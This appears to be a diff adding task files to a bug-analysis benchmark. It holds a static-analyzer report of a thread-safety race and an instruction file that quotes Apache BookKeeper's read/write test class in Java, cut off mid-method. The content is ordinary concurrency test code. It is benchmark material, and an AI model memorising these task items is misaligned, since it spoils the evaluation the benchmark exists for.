+Read/Write race. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testLastConfirmedAdd` reads without synchronization from `this.org.apache.bookkeeper.test.BookieReadWriteTest.rng`. Potentially races with write in method `BookieReadWriteTest.setUp()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testLastConfirmedAdd()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testLastConfirmedAdd():void.916e4be23ad65a9ee13f63120c465a37
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testLastConfirmedAdd|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+7c2086916ded2ea020cbe27960423cf6
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7121/instruction.md b/inferredbugs-7121/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..438a5c03eb17b161c74a871051b3ed86c68d525a
--- /dev/null
+++ b/inferredbugs-7121/instruction.md
@@ -0,0 +1,1202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 34
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+    Enumeration<LedgerEntry> ls;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+    // Synchronization
+    SyncObj sync;
+    Set<Object> syncObjs;
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+    }
+
+    @Test
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            if(rc != BKException.Code.OK) {
+                fail("Return code is not OK: " + rc);
+            }
+
+            ls = seq;
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    /**
+     * Method for obtaining the available permits of a ledger handle
+     * using reflection to avoid adding a new public method to the
+     * class.
+     *
+     * @param lh
+     * @return
+     */
+    @SuppressWarnings("unchecked")
+    int getAvailablePermits(LedgerHandle lh) throws
+        NoSuchFieldException, IllegalAccessException
+    {
+        Field field = LedgerHandle.class.getDeclaredField("opCounterSem");
+        field.setAccessible(true);
+        return ((Semaphore)field.get(lh)).availablePermits();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClientThrottle() throws
+        IOException, NoSuchFieldException, IllegalAccessException {
+        try {
+
+            Integer throttle = 100;
+            ThrottleTestCallback tcb = new ThrottleTestCallback(throttle);
+            // Create a ledger
+            bkc.getConf().setThrottleValue(throttle);
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+
+            numEntriesToWrite = 8000;
+            for (int i = 0; i < (numEntriesToWrite - 2000); i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+
+            for (int i = 0; i < 2000; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            sync.counter = 0;
+            for (int i = 0; i < numEntriesToWrite; i+=throttle) {
+                lh.asyncReadEntries(i, i + throttle - 1, tcb, sync);
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.info("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteAsyncLength() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
